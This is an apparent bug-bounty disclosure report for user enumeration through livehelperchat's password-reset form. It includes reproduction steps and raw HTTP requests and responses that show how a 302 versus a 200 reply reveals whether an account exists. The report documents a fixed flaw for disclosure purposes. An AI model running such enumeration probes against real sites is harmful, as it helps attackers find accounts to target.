Generation of Error Message Containing Sensitive Information in livehelperchat/livehelperchat

0

Valid Reported on Jan 2nd 2022

Description

When resetting your password, you're able to enumerate users based on the way that the server responds to your request. If you enter an email that doesn't exist (for example: *test@gmail.com*), then the server will respond with an *HTTP 302 FOUND* status response code (indicated by line 97 of the occurrence link)
But if you attempt to reset the password for an account that you know exists (for example: *remdex@gmail.com*), then the server will respond with an *HTTP 200 OK* status response code and also responds with this page which indicates that a password reset email was sent (indicated by line 94 of the occurrence link)

Steps To Reproduce

Go to `/site_admin/user/forgotpassword`
Enter an email address that doesn't exist (For example: 1d8demo@gmail.com)
Observe network requests & restore password. Notice that it is a 302 redirect to the forgotpassword page which indicates the email address doesn't exist
Now enter an email address that does exist (For example: remdex@gmail.com)
Observe the network request & restore password. Notice how the server responds with a different webpage which indicates that a password reminder email has been sent, confirming that the email address does exist.

Proof of Concept

Request when email address doesn't exist:

```
POST /site_admin/user/forgotpassword HTTP/1.1
Host: demo.livehelperchat.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
```

```
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded

Content-Length: 98
Origin: https://demo.livehelperchat.com
DNT: 1
Connection: keep-alive
Referer: https://demo.livehelperchat.com/site_admin/user/forgotpassword
Cookie: lhc_vid=7a46a3918dffa927cd6a; PHPSESSID=ptlo9b3h7kq9cffurfp1ujb8cq
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Email=test@gmail.com
csfr_token=0604a0365f43ca1e52f3ee26f802a300
Forgotpassword=Restore password
```

Response when email address doesn't exist:

```
HTTP/1.1 302 Found
Server: nginx
Date: Mon, 03 Jan 2022 02:34:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=10
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: DENY
Location: /site_admin/user/forgotpassword
```

Request when email address does exist:

```
POST /site_admin/user/forgotpassword HTTP/1.1
Host: demo.livehelperchat.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
```

```
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://demo.livehelperchat.com
DNT: 1
Connection: keep-alive
Referer: https://demo.livehelperchat.com/site_admin/user/forgotpassword
Cookie: lhc_vid=7a46a3918dffa927cd6a; PHPSESSID=n3u430nfrohrto8dm5pneg5uab
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

Email=remdex@gmail.com
csfr_token=0604a0365f43ca1e52f3ee26f802a300
Forgotpassword=Restore password
```

Response when email address does exist:

```
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jan 2022 02:34:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=10
Vary: Accept-Encoding
X-Powered-By: PHP/7.4.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: DENY
Content-Encoding: gzip
```

Impact

An attacker can exploit this vulnerability in order to enumerate users

CVE
CVE-2022-0083
(Published)

Vulnerability Type
CWE-209: Generation of Error Message Containing Sensitive Information

Severity
High (7.3)

Visibility
Public

Status
Fixed

Found by

1d8
@1d8
amateur

This report was seen 476 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours.
a year ago

1d8 modified the report a year ago

Remigijus Kiminas validated this vulnerability a year ago

1d8 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Remigijus Kiminas marked this as fixed in **2.0** with commit **fbed87** a year ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation